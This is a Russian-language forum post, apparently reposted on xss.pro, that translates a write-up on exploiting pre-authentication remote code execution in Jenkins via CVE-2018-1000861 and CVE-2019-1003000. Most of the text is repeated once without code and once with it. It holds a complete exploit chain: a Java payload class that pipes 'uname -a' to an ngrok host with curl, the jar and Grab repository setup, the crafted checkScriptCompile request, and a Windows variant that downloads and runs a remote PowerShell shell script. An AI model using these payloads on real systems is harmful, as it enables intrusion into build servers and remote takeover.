Пожалуйста, обратите внимание, что пользователь заблокирован
Однажды мой друг задал мне вопрос - «Ты знаешь какой-нибудь свежий RCE для среды Jenkins?». Я уже был проинформирован о некоторых старых RCE PoC, но это было не то, что нам было нужно. Это была свежая среда Jenkins. При быстром поиске я понял, что была обнаружена свежая уязвимость CVE-2019–1003000. Большое спасибо Orangetsai Tsai за столь понятное и интересное исследование в его блоге. Поэтому я изучил его исследования, сделав правильный POC на нашей цели.
Уязвимость RCE была эксплуатируемой, и здесь я могу поделиться, как это было с моей точки зрения. Корень проблемы был в функции конвейера, которая облегчает написание сценариев для создания, тестирования и доставки программного обеспечения в Jenkins. Исследователь обнаружил цепочку эксплойтов, использующую CVE-2018–1000861 и CVE-2019–1003000, которые обходят необходимость разрешения «Полное / Чтение» для RCE до авторизации. Если вы действительно хотите понимать суть - просто зайдите в блог Orange. Это действительно интересно понять и изучить!
Итак, сначала я сделал быструю проверку, чтобы убедиться, что проблема все еще существует. Для этого вам нужно всего лишь:
В ответ мы должны увидеть «200 ок» примерно так:
Таким образом, это означает, что мы готовы к созданию обычного PoC в этой среде. Если вам лень воспроизводить все шаги - просто перейдите сюда. Но я сделал все шаги вручную.
1. Сохраните этот код как Orange.java:
Как вы видите в качестве доказательства концепции выполнения чего-либо на сервере, я выбрал это:
2. Далее вам нужно скомпилировать java *:
Я сделал «-target 1.8», потому что у меня была проблема с классами Java на моем сервере Jenkins. Мне всегда возвращалась ошибка:
Похоже, что когда я пытался атаковать - это всегда не удавалось именно с java 10, где ожидалось java 8. Флаг
3. Выполняем - mkdir -p META-IN/services/
4. Выполняем - echo Orange> META-INF / services / org.codehaus.groovy.plugins.Runners
5. После выполнения этой команды
6. Выполняем - jar cvf poc-1.jar ./Orange.class ./META-INF/
Просто сделайте скриншот всех необходимых шагов, чтобы сделать свой POC (без цели 1.8)
7. Создайте такую структуру: /tw/orange/poc/1/, и поместите ваш скомпилированный poc-1.jar в /tw/orange/poc/1/
8. В конце концов, я запустил локальный PHP-сервер с командой "php -S localhost:8080" и сделал его общедоступным с помощью туннеля ngrok.
9. Последним шагом было сделать такой запрос GET для моей цели:
и в ответе вы увидите, что:
Через несколько секунд я обнаружил входящий запрос с выполненной командой в теле запроса с сервера.
Команда была выполнена успешно, и у нас есть действующий RCE. Был сделан отчет об уязвимости. Цель была достигнута
Если у вас есть проблемы с выполнением команд в среде Windows - вы можете вызвать Nishang powershell в файле Orange.java:
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/@valeriyshevchen...ote-code-execution-on-the-server-d18b868a77cb
Я не могу раскрыть название цели.
Уязвимость RCE была эксплуатируемой, и здесь я могу поделиться, как это было с моей точки зрения. Корень проблемы был в функции конвейера, которая облегчает написание сценариев для создания, тестирования и доставки программного обеспечения в Jenkins. Исследователь обнаружил цепочку эксплойтов, использующую CVE-2018–1000861 и CVE-2019–1003000, которые обходят необходимость разрешения «Полное / Чтение» для RCE до авторизации. Если вы действительно хотите понимать суть - просто зайдите в блог Orange. Это действительно интересно понять и изучить!
Итак, сначала я сделал быструю проверку, чтобы убедиться, что проблема все еще существует. Для этого вам нужно всего лишь:
Код:
http://example.com/jenkins/securityRealm/user/admin/
Код:
Jenkins User Id: admin
Таким образом, это означает, что мы готовы к созданию обычного PoC в этой среде. Если вам лень воспроизводить все шаги - просто перейдите сюда. Но я сделал все шаги вручную.
1. Сохраните этот код как Orange.java:
Код:
public class Orange {
public Orange(){
try {
String payload = "uname -a | curl -d @- http://myservertunnel.ngrok.io/";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
Код:
uname -a | curl -d @- http://myservertunnel.ngrok.io/
2. Далее вам нужно скомпилировать java *:
Код:
javac -target 1.8 Orange.java
«Эксплойт» был скомпилирован более поздней версией Java Runtime (версия файла класса 54.0), эта версия Java Runtime распознает только версии файла класса до 52.0
Похоже, что когда я пытался атаковать - это всегда не удавалось именно с java 10, где ожидалось java 8. Флаг
-target 1.8 решил эту проблему.3. Выполняем - mkdir -p META-IN/services/
4. Выполняем - echo Orange> META-INF / services / org.codehaus.groovy.plugins.Runners
5. После выполнения этой команды
find. Вы должны увидеть эту структуру:
Код:
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
6. Выполняем - jar cvf poc-1.jar ./Orange.class ./META-INF/
Просто сделайте скриншот всех необходимых шагов, чтобы сделать свой POC (без цели 1.8)
7. Создайте такую структуру: /tw/orange/poc/1/, и поместите ваш скомпилированный poc-1.jar в /tw/orange/poc/1/
8. В конце концов, я запустил локальный PHP-сервер с командой "php -S localhost:8080" и сделал его общедоступным с помощью туннеля ngrok.
9. Последним шагом было сделать такой запрос GET для моей цели:
Код:
http://example.com/jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://myservertunnel.ngrok.io/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
Код:
{
"column": 0,
"line": 0,
"message": "",
"status": "success"
}
Команда была выполнена успешно, и у нас есть действующий RCE. Был сделан отчет об уязвимости. Цель была достигнута
Если у вас есть проблемы с выполнением команд в среде Windows - вы можете вызвать Nishang powershell в файле Orange.java:
Код:
public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://yourserver.com/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/@valeriyshevchen...ote-code-execution-on-the-server-d18b868a77cb